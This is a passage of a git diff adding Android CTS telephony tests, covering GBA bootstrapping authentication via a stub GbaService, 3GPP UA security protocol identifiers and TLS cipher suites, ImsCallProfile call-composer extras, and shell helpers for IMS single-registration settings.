+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.AsyncTask;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.telephony.cts.TelephonyUtils;
+import android.telephony.gba.UaSecurityProtocolIdentifier;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Random;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+@RunWith(AndroidJUnit4.class)
+public final class GbaServiceTest {
+
+    private static final String TAG = "GbaServiceTest";
+
+    private static final String COMMAND_UPDATE_PACKAGE = "cmd phone gba set-service ";
+    private static final String COMMAND_UPDATE_RELEASE = "cmd phone gba set-release ";
+    private static final String COMMAND_GET_PACKAGE = "cmd phone gba get-service";
+    private static final String COMMAND_GET_RELEASE = "cmd phone gba get-release";
+    private static final String SERVICE_PACKAGE = "android.telephony.cts";
+    private static final String NAF = "3GPP-bootstrapping@naf1.operator.com";
+    private static final String BTID = "(B-TID)";
+    private static final int REQ_TIMEOUT = 5000;
+    private static final int RELEASE_DEFAULT = 0;
+    private static final int RELEASE_TEST_MS = 15 * 1000;
+    private static final int RELEASE_NEVER = -1;
+
+    private static int sSubId;
+    private static Instrumentation sInstrumentation;
+    private static TelephonyManager sTm;
+    private static TestGbaConfig sConfig;
+    private static String sServiceConfig;
+    private static int sReleaseTimeConfig;
+
+    @BeforeClass
+    public static void init() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        sConfig = TestGbaConfig.getInstance();
+        sInstrumentation = InstrumentationRegistry.getInstrumentation();
+        sTm = sInstrumentation.getContext().getSystemService(TelephonyManager.class);
+        sServiceConfig = TelephonyUtils.executeShellCommand(
+                sInstrumentation, COMMAND_GET_PACKAGE);
+        sReleaseTimeConfig = Integer.parseInt(TelephonyUtils.executeShellCommand(
+                sInstrumentation, COMMAND_GET_RELEASE));
+    }
+
+    @AfterClass
+    public static void release() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        setService(sServiceConfig);
+        setReleaseTime(sReleaseTimeConfig);
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        setService(SERVICE_PACKAGE);
+        setReleaseTime(RELEASE_DEFAULT);
+    }
+
+    @Test (expected = SecurityException.class)
+    public void testPermissions() {
+        if (!isFeatureSupported()) {
+            throw new SecurityException("Feaure is not supported");
+        }
+
+        runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_FEATURE_NOT_SUPPORTED,
+                android.Manifest.permission.READ_PHONE_STATE);
+    }
+
+    @Test
+    public void testAuthSuccess() {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        Random rand = new Random();
+
+        for (int i = 0; i < 20; i++) {
+            Log.d(TAG, "testAuthSuccess[" + i + "]");
+            byte[] key = new byte[16];
+            rand.nextBytes(key);
+            sConfig.setConfig(true, key, BTID, TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+            final AtomicBoolean isSuccess = new AtomicBoolean(false);
+            final AtomicBoolean isFail = new AtomicBoolean(false);
+            TelephonyManager.BootstrapAuthenticationCallback cb = new
+                      TelephonyManager.BootstrapAuthenticationCallback() {
+                @Override
+                public void onKeysAvailable(byte[] gbaKey, String btId) {
+                    assertNotNull(gbaKey);
+                    assertNotNull(btId);
+                    assertArrayEquals(key, gbaKey);
+                    assertEquals(BTID, btId);
+                    synchronized (isSuccess) {
+                        isSuccess.set(true);
+                        isSuccess.notify();
+                    }
+                }
+
+                @Override
+                public void onAuthenticationFailure(int reason) {
+                    synchronized (isSuccess) {
+                        isFail.set(true);
+                        isSuccess.notify();
+                    }
+                }
+            };
+            UaSecurityProtocolIdentifier.Builder builder =
+                    new UaSecurityProtocolIdentifier.Builder();
+            builder.setOrg(UaSecurityProtocolIdentifier.ORG_3GPP).setProtocol(
+                    UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_HTTP_BASED_MBMS);
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(sTm,
+                    (tm) -> tm.bootstrapAuthenticationRequest(TelephonyManager.APPTYPE_USIM,
+                    Uri.parse(NAF), builder.build(), true, AsyncTask.SERIAL_EXECUTOR, cb),
+                    android.Manifest.permission.MODIFY_PHONE_STATE);
+            waitForMs(isSuccess, REQ_TIMEOUT);
+
+            assertTrue(isSuccess.get());
+            assertFalse(isFail.get());
+        }
+    }
+
+    @Test
+    public void testGbaNotSupported() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        setService("");
+        sConfig.setConfig(true, new byte[16], BTID, TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+
+        runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_FEATURE_NOT_SUPPORTED,
+                android.Manifest.permission.MODIFY_PHONE_STATE);
+
+        assertTrue(setService(SERVICE_PACKAGE));
+    }
+
+    @Test
+    public void testAuthFail() {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        for (int r = TelephonyManager.GBA_FAILURE_REASON_UNKNOWN;
+                r <= TelephonyManager.GBA_FAILURE_REASON_SECURITY_PROTOCOL_NOT_SUPPORTED; r++) {
+            sConfig.setConfig(false, new byte[16], BTID, r);
+            runGbaFailCase(r, android.Manifest.permission.MODIFY_PHONE_STATE);
+        }
+    }
+
+    private void runGbaFailCase(int r, String permission) {
+        final AtomicBoolean isSuccess = new AtomicBoolean(false);
+        final AtomicBoolean isFail = new AtomicBoolean(false);
+        TelephonyManager.BootstrapAuthenticationCallback cb = new
+                  TelephonyManager.BootstrapAuthenticationCallback() {
+            @Override
+            public void onKeysAvailable(byte[] gbaKey, String btId) {
+                synchronized (isFail) {
+                    isSuccess.set(true);
+                    isFail.notify();
+                }
+            }
+
+            @Override
+            public void onAuthenticationFailure(int reason) {
+                assertEquals(reason, r);
+                synchronized (isFail) {
+                    isFail.set(true);
+                    isFail.notify();
+                }
+            }
+        };
+        UaSecurityProtocolIdentifier.Builder builder = new UaSecurityProtocolIdentifier.Builder();
+        builder.setOrg(UaSecurityProtocolIdentifier.ORG_3GPP).setProtocol(
+                UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_HTTP_BASED_MBMS);
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(sTm,
+                (tm) -> tm.bootstrapAuthenticationRequest(TelephonyManager.APPTYPE_USIM,
+                Uri.parse(NAF), builder.build(), true, AsyncTask.SERIAL_EXECUTOR, cb), permission);
+        waitForMs(isFail, REQ_TIMEOUT);
+
+        assertTrue(isFail.get());
+        assertFalse(isSuccess.get());
+    }
+
+    @Test
+    public void testServiceReleaseDefault() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        int ss = sConfig.getServiceState();
+        boolean isExpected = (ss == TestGbaConfig.STATE_UNKNOWN
+                || ss == TestGbaConfig.STATE_REMOVED
+                || ss == TestGbaConfig.STATE_UNBOUND);
+        assertTrue(isExpected);
+        sConfig.setConfig(false, new byte[16], BTID,
+                TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+
+        runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_UNKNOWN,
+                android.Manifest.permission.MODIFY_PHONE_STATE);
+        waitForMs(sConfig, 500);
+
+        assertFalse(TestGbaConfig.STATE_BOUND == sConfig.getServiceState());
+    }
+
+    @Test
+    public void testServiceReleaseDuration() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        int ss = sConfig.getServiceState();
+        boolean isExpected = (ss == TestGbaConfig.STATE_UNKNOWN
+                || ss == TestGbaConfig.STATE_REMOVED
+                || ss == TestGbaConfig.STATE_UNBOUND);
+        assertTrue(isExpected);
+        sConfig.setConfig(false, new byte[16], BTID,
+                TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+        assertTrue(setReleaseTime(RELEASE_TEST_MS));
+
+        runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_UNKNOWN,
+                android.Manifest.permission.MODIFY_PHONE_STATE);
+
+        waitForMs(sConfig, 500);
+        assertEquals(TestGbaConfig.STATE_BOUND, sConfig.getServiceState());
+
+        waitForMs(sConfig, RELEASE_TEST_MS);
+        assertFalse(TestGbaConfig.STATE_BOUND == sConfig.getServiceState());
+    }
+
+    @Test
+    public void testServiceNoRelease() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        int ss = sConfig.getServiceState();
+        boolean isExpected = (ss == TestGbaConfig.STATE_UNKNOWN
+                || ss == TestGbaConfig.STATE_REMOVED
+                || ss == TestGbaConfig.STATE_UNBOUND);
+        assertTrue(isExpected);
+        sConfig.setConfig(false, new byte[16], BTID,
+                TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+        assertTrue(setReleaseTime(RELEASE_NEVER));
+
+        runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_UNKNOWN,
+                android.Manifest.permission.MODIFY_PHONE_STATE);
+        waitForMs(sConfig, 2 * RELEASE_TEST_MS);
+
+        assertEquals(TestGbaConfig.STATE_BOUND, sConfig.getServiceState());
+    }
+
+    public static void waitForMs(Object obj, long ms) {
+        synchronized (obj) {
+            try {
+                obj.wait(ms);
+            } catch (InterruptedException e) {
+                Log.d(TAG, "InterruptedException while waiting: " + e);
+            }
+        }
+    }
+
+    private static boolean setService(String packageName) throws Exception {
+        String result = TelephonyUtils.executeShellCommand(sInstrumentation,
+                COMMAND_UPDATE_PACKAGE + packageName);
+        return "true".equals(result);
+    }
+
+    private static boolean setReleaseTime(int interval) throws Exception {
+        String result = TelephonyUtils.executeShellCommand(sInstrumentation,
+                COMMAND_UPDATE_RELEASE + interval);
+        return "true".equals(result);
+    }
+
+    private static boolean isFeatureSupported() {
+        if (!InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY)) {
+            return false;
+        }
+        int[] activeSubs = InstrumentationRegistry.getContext().getSystemService(
+                SubscriptionManager.class).getActiveSubscriptionIdList();
+        if (activeSubs.length == 0) {
+            return false;
+        }
+        sSubId = activeSubs[0];
+        return true;
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaConfig.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaConfig.java
new file mode 100644
index 0000000..33d1a83
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaConfig.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gba.cts;
+
+final class TestGbaConfig {
+
+    static final int STATE_UNKNOWN = 0;
+    static final int STATE_CREATED = 1;
+    static final int STATE_BOUND   = 2;
+    static final int STATE_UNBOUND = 3;
+    static final int STATE_REMOVED = 4;
+
+    private boolean mIsAuthSuccess;
+    private byte[] mGbaKey;
+    private String mBTid;
+    private int mFailReason;
+    private int mServiceState;
+
+    private static TestGbaConfig sInstance;
+
+    private TestGbaConfig() {
+    }
+
+    static TestGbaConfig getInstance() {
+        if (sInstance == null) {
+            sInstance = new TestGbaConfig();
+        }
+        return sInstance;
+    }
+
+    void setConfig(boolean success, byte[] key, String id, int reason) {
+        synchronized (this) {
+            mIsAuthSuccess = success;
+            mGbaKey = key;
+            mBTid = id;
+            mFailReason = reason;
+        }
+    }
+
+    boolean isAuthSuccess() {
+        synchronized (this) {
+            return mIsAuthSuccess;
+        }
+    }
+
+    byte[] getGbaKey() {
+        synchronized (this) {
+            return mGbaKey;
+        }
+    }
+
+    String getBTid() {
+        synchronized (this) {
+            return mBTid;
+        }
+    }
+
+    int getFailReason() {
+        synchronized (this) {
+            return mFailReason;
+        }
+    }
+
+    void setServiceState(int state) {
+        synchronized (this) {
+            mServiceState = state;
+            this.notify();
+        }
+    }
+
+    int getServiceState() {
+        synchronized (this) {
+            return mServiceState;
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaService.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaService.java
new file mode 100644
index 0000000..702f757
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaService.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gba.cts;
+
+import android.annotation.NonNull;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.IBinder;
+import android.telephony.gba.GbaService;
+import android.util.Log;
+
+public class TestGbaService extends GbaService {
+
+    private static final String TAG = "TestGbaService";
+
+    private TestGbaConfig mConfig;
+
+    @Override
+    public void onCreate() {
+        Log.i(TAG, "Service created");
+        mConfig = TestGbaConfig.getInstance();
+        mConfig.setServiceState(TestGbaConfig.STATE_CREATED);
+    }
+
+    @Override
+    public void onAuthenticationRequest(int subId, int token, int appType,
+            @NonNull Uri nafUrl, @NonNull byte[] securityProtocol, boolean forceBootStrapping) {
+        boolean isSuccess = mConfig.isAuthSuccess();
+        int reason = mConfig.getFailReason();
+        byte[] key = mConfig.getGbaKey();
+        String btid = mConfig.getBTid();
+
+        if (isSuccess) {
+            reportKeysAvailable(token, key, btid);
+        } else {
+            reportAuthenticationFailure(token, reason);
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        Log.d(TAG, "onBind intent:" + intent);
+        mConfig.setServiceState(TestGbaConfig.STATE_BOUND);
+        return super.onBind(intent);
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        Log.d(TAG, "onUnbind intent:" + intent);
+        mConfig.setServiceState(TestGbaConfig.STATE_UNBOUND);
+        return super.onUnbind(intent);
+    }
+
+    @Override
+    public void onDestroy() {
+        Log.d(TAG, "onDestroy!");
+        mConfig.setServiceState(TestGbaConfig.STATE_REMOVED);
+        super.onDestroy();
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/UaSecurityProtocolIdentifierTest.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/UaSecurityProtocolIdentifierTest.java
new file mode 100644
index 0000000..ae1b0fd
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/UaSecurityProtocolIdentifierTest.java
@@ -0,0 +1,209 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gba.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Parcel;
+import android.telephony.gba.TlsParams;
+import android.telephony.gba.UaSecurityProtocolIdentifier;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Random;
+
+@RunWith(AndroidJUnit4.class)
+public final class UaSecurityProtocolIdentifierTest {
+    private static final String TAG = "UaSecurityProtocolIdentifierTest";
+    private static final int PROTO_SIZE = 5;
+    private static final byte[] PROTO_DEFAULT = {0x00, 0x00, 0x00, 0x00, 0x00};
+    private static final int[] PROTO_3GPP_PLAIN_ID = {
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_SUBSCRIBER_CERTIFICATE,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_MBMS,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_HTTP_DIGEST_AUTHENTICATION,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_HTTP_BASED_MBMS,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_SIP_BASED_MBMS,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_GENERIC_PUSH_LAYER,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_IMS_MEDIA_PLANE,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_GENERATION_TMPI};
+    private static final byte[][] PROTO_3GPP_PLAIN = {
+        {0x01, 0x00, 0x00, 0x00, 0x00},
+        {0x01, 0x00, 0x00, 0x00, 0x01},
+        {0x01, 0x00, 0x00, 0x00, 0x02},
+        {0x01, 0x00, 0x00, 0x00, 0x03},
+        {0x01, 0x00, 0x00, 0x00, 0x04},
+        {0x01, 0x00, 0x00, 0x00, 0x05},
+        {0x01, 0x00, 0x00, 0x00, 0x06},
+        {0x01, 0x00, 0x00, 0x01, 0x00}};
+    private static final int[] PROTO_3GPP_TLS_ID = {
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_TLS_DEFAULT,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_TLS_BROWSER};
+    private static final byte[][] PROTO_3GPP_TLS = {
+        {0x01, 0x00, 0x01, 0x00, 0x00},
+        {0x01, 0x00, 0x02, 0x00, 0x00}};
+
+    private static final int[] TLS_CS_ID_SUPPORTED = {
+        0x0000, 0x0001, 0x0002, 0x0004, 0x0005, 0x000A, 0x000D, 0x0010, 0x0013, 0x0016, 0x0018,
+        0x001B, 0x002F, 0x0030, 0x0031, 0x0032, 0x0033, 0x0034, 0x0035, 0x0036, 0x0037, 0x0038,
+        0x0039, 0x003A, 0x003B, 0x003C, 0x003D, 0x003E, 0x003F, 0x0040, 0x0067, 0x0068, 0x0069,
+        0x006A, 0x006B, 0x006C, 0x006D, 0x009E, 0x009F, 0x00AA, 0x00AB, 0x1301, 0x1302, 0x1303,
+        0x1304, 0xC02B, 0xC02C, 0xC02F, 0xC030, 0xC09E, 0xC09F, 0xC0A6, 0xC0A7, 0xCCA8, 0xCCA9,
+        0xCCAA, 0xCCAC, 0xCCAD, 0xD001, 0xD002, 0xD005};
+
+    @Test
+    public void testDefaultId() {
+        UaSecurityProtocolIdentifier.Builder builder = new UaSecurityProtocolIdentifier.Builder();
+        UaSecurityProtocolIdentifier sp = builder.build();
+        assertNotNull(sp);
+        assertEquals(UaSecurityProtocolIdentifier.ORG_NONE, sp.getOrg());
+        assertArrayEquals(sp.toByteArray(), PROTO_DEFAULT);
+    }
+
+    @Test
+    public void testValid3gppId() {
+        for (int i = 0; i < PROTO_3GPP_PLAIN_ID.length; i++) {
+            UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+                    PROTO_3GPP_PLAIN_ID[i], null, false);
+            assertNotNull(sp);
+            assertEquals(UaSecurityProtocolIdentifier.ORG_3GPP, sp.getOrg());
+            assertEquals(PROTO_3GPP_PLAIN_ID[i], sp.getProtocol());
+            assertEquals(0, sp.getTlsCipherSuite());
+            assertArrayEquals(sp.toByteArray(), PROTO_3GPP_PLAIN[i]);
+        }
+    }
+
+    @Test
+    public void testValid3gppIdWithTls() {
+        for (int i = 0; i < PROTO_3GPP_TLS_ID.length; i++) {
+            for (int j = 0; j < TLS_CS_ID_SUPPORTED.length; j++) {
+                UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+                        PROTO_3GPP_TLS_ID[i], TLS_CS_ID_SUPPORTED[j], false);
+                assertNotNull(sp);
+                assertEquals(UaSecurityProtocolIdentifier.ORG_3GPP, sp.getOrg());
+                assertEquals(PROTO_3GPP_TLS_ID[i], sp.getProtocol());
+                assertEquals(TLS_CS_ID_SUPPORTED[j], sp.getTlsCipherSuite());
+                byte[] targetData = new byte[PROTO_SIZE];
+                ByteBuffer buf = ByteBuffer.wrap(targetData);
+                buf.put(PROTO_3GPP_TLS[i]);
+                buf.putShort(PROTO_SIZE - 2, (short) TLS_CS_ID_SUPPORTED[j]);
+                assertArrayEquals(targetData, sp.toByteArray());
+            }
+        }
+    }
+
+    @Test
+    public void testInvalidId() {
+        Random rand = new Random();
+        HashSet<Integer> validIds = new HashSet<>();
+        for (int id : PROTO_3GPP_PLAIN_ID) {
+            validIds.add(id);
+        }
+        for (int id : PROTO_3GPP_TLS_ID) {
+            validIds.add(id);
+        }
+        for (int i = 0; i < 200; i++) {
+            int r = rand.nextInt();
+            UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+                    r, TlsParams.TLS_NULL_WITH_NULL_NULL, !validIds.contains(r));
+        }
+    }
+
+    @Test
+    public void testInvalid3gppIdWithTls() {
+        Random rand = new Random();
+        for (int i = 0; i < PROTO_3GPP_TLS_ID.length; i++) {
+            for (int j = 0; j < 200; j++) {
+                int r = rand.nextInt(Integer.MAX_VALUE);
+                int index = Arrays.binarySearch(TLS_CS_ID_SUPPORTED, r);
+                boolean isFailExpected = index < 0;
+                UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+                        PROTO_3GPP_TLS_ID[i], r, isFailExpected);
+            }
+        }
+    }
+
+    @Test
+    public void testParcelUnparcel() {
+        UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+                PROTO_3GPP_TLS_ID[0], TLS_CS_ID_SUPPORTED[0], false);
+        Parcel parcel = Parcel.obtain();
+        sp.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        UaSecurityProtocolIdentifier sp2 =
+                UaSecurityProtocolIdentifier.CREATOR.createFromParcel(parcel);
+        parcel.recycle();
+        assertTrue(sp.equals(sp2));
+    }
+
+    @Test
+    public void testIsTlsCipherSuiteSupported() {
+        Random rand = new Random();
+
+        for (int i = 0; i < TLS_CS_ID_SUPPORTED.length; i++) {
+            assertTrue(TlsParams.isTlsCipherSuiteSupported(TLS_CS_ID_SUPPORTED[i]));
+        }
+
+        for (int i = 0; i < 100; i++) {
+            int val = rand.nextInt();
+            if (Arrays.binarySearch(TLS_CS_ID_SUPPORTED, val) < 0) {
+                assertFalse(TlsParams.isTlsCipherSuiteSupported(val));
+            }
+        }
+    }
+
+    private UaSecurityProtocolIdentifier testCreate3GppSpId(
+            Integer id, Integer cs, boolean nullExpected) {
+        boolean isFail = false;
+        UaSecurityProtocolIdentifier sp = null;
+        UaSecurityProtocolIdentifier.Builder builder = new UaSecurityProtocolIdentifier.Builder();
+        builder.setOrg(UaSecurityProtocolIdentifier.ORG_3GPP);
+        try {
+            if (id != null) {
+                builder.setProtocol(id);
+            }
+            if (cs != null) {
+                builder.setTlsCipherSuite(cs);
+            }
+            sp = builder.build();
+        } catch (IllegalArgumentException e) {
+        }
+        if (nullExpected) {
+            assertNull(sp);
+        } else {
+            assertNotNull(sp);
+        }
+        return sp;
+    }
+
+    private String getRandomString(Random rand) {
+        int size = rand.nextInt(64);
+        byte[] arr = new byte[size];
+        rand.nextBytes(arr);
+        return new String(arr);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java
index 302f293..46980a2 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java
@@ -21,6 +21,7 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
+import android.location.Location;
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.Parcel;
@@ -347,6 +348,74 @@
                 unparceledData.getCallExtraInt(ImsCallProfile.EXTRA_CALL_NETWORK_TYPE));
     }
 
+    @Test
+    public void testCallComposerExtras() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        ImsCallProfile data = new ImsCallProfile();
+
+        // EXTRA_PRIORITY
+        data.setCallExtraInt(ImsCallProfile.EXTRA_PRIORITY,
+                ImsCallProfile.PRIORITY_URGENT);
+        assertEquals(ImsCallProfile.PRIORITY_URGENT,
+                data.getCallExtraInt(ImsCallProfile.EXTRA_PRIORITY));
+        data.setCallExtraInt(ImsCallProfile.EXTRA_PRIORITY,
+                ImsCallProfile.PRIORITY_NORMAL);
+        assertEquals(ImsCallProfile.PRIORITY_NORMAL,
+                data.getCallExtraInt(ImsCallProfile.EXTRA_PRIORITY));
+
+        // EXTRA_CALL_SUBJECT
+        String testCallSubject = "TEST_CALL_SUBJECT";
+        data.setCallExtra(ImsCallProfile.EXTRA_CALL_SUBJECT, testCallSubject);
+        assertEquals(testCallSubject, data.getCallExtra(ImsCallProfile.EXTRA_CALL_SUBJECT));
+
+        // EXTRA_CALL_LOCATION
+        Location testLocation = new Location("ImsCallProfileTest");
+        double latitude = 123;
+        double longitude = 456;
+        testLocation.setLatitude(latitude);
+        testLocation.setLongitude(longitude);
+        data.setCallExtraParcelable(ImsCallProfile.EXTRA_LOCATION, testLocation);
+        Location testGetLocation = (Location) data.getCallExtraParcelable(
+                ImsCallProfile.EXTRA_LOCATION);
+        assertEquals(latitude, testGetLocation.getLatitude(), 0);
+        assertEquals(longitude, testGetLocation.getLongitude(), 0);
+
+        // EXTRA_PICTURE_URL
+        String testPictureUrl = "TEST_PICTURE_URL";
+        data.setCallExtra(ImsCallProfile.EXTRA_PICTURE_URL, testPictureUrl);
+        assertEquals(testPictureUrl, data.getCallExtra(ImsCallProfile.EXTRA_PICTURE_URL));
+
+        // Test the whole Parcel ImsCallProfile
+        Parcel dataParceled = Parcel.obtain();
+        data.writeToParcel(dataParceled, 0);
+        dataParceled.setDataPosition(0);
+        ImsCallProfile unparceledData = ImsCallProfile.CREATOR.createFromParcel(dataParceled);
+        dataParceled.recycle();
+
+        assertEquals("unparceled data for EXTRA_PRIORITY is not valid!",
+                data.getCallExtraInt(ImsCallProfile.EXTRA_PRIORITY),
+                        unparceledData.getCallExtraInt(ImsCallProfile.EXTRA_PRIORITY));
+
+        assertEquals("unparceled data for EXTRA_CALL_SUBJECT is not valid!",
+                data.getCallExtra(ImsCallProfile.EXTRA_CALL_SUBJECT),
+                        unparceledData.getCallExtra(ImsCallProfile.EXTRA_CALL_SUBJECT));
+
+        Location locationFromData = data.getCallExtraParcelable(ImsCallProfile.EXTRA_LOCATION);
+        Location locationFromUnparceledData = unparceledData.getCallExtraParcelable(
+                ImsCallProfile.EXTRA_LOCATION);
+        assertEquals("unparceled data for EXTRA_LOCATION latitude is not valid!",
+                locationFromData.getLatitude(), locationFromUnparceledData.getLatitude(), 0);
+        assertEquals("unparceled data for EXTRA_LOCATION Longitude is not valid!",
+                locationFromData.getLongitude(), locationFromUnparceledData.getLongitude(), 0);
+
+        assertEquals("unparceled data for EXTRA_PICTURE_URL is not valid!",
+                data.getCallExtra(ImsCallProfile.EXTRA_PICTURE_URL),
+                        unparceledData.getCallExtra(ImsCallProfile.EXTRA_PICTURE_URL));
+    }
+
     /**
      * Verifies basic RTP header extension type parcelling in the {@link ImsCallProfile} class.
      */
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
index 6c207c4..1e12777 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
@@ -63,6 +63,10 @@
     private static final String COMMAND_FEATURE_IDENTIFIER = "-f ";
     private static final String COMMAND_ENABLE_IMS = "ims enable ";
     private static final String COMMAND_DISABLE_IMS = "ims disable ";
+    private static final String COMMAND_SET_DEVICE_SINGLE_REGISTRATION_ENABLED =
+            "src set-device-enabled ";
+    private static final String COMMAND_GET_DEVICE_SINGLE_REGISTRATION_ENABLED =
+            "src get-device-enabled";
 
     private class TestCarrierServiceConnection implements ServiceConnection {
 
@@ -558,6 +562,16 @@
                 + COMMAND_SLOT_IDENTIFIER + slot);
     }
 
+    void setDeviceSingleRegistrationEnabled(Boolean enabled) throws Exception {
+        TelephonyUtils.executeShellCommand(mInstrumentation, COMMAND_BASE
+                + COMMAND_SET_DEVICE_SINGLE_REGISTRATION_ENABLED + enabled);
+    }
+
+    boolean getDeviceSingleRegistrationEnabled() throws Exception {
+        return Boolean.parseBoolean(TelephonyUtils.executeShellCommand(mInstrumentation,
+                COMMAND_BASE + COMMAND_GET_DEVICE_SINGLE_REGISTRATION_ENABLED));
+    }
+
     TestImsService getCarrierService() {
         return mCarrierService;
     }
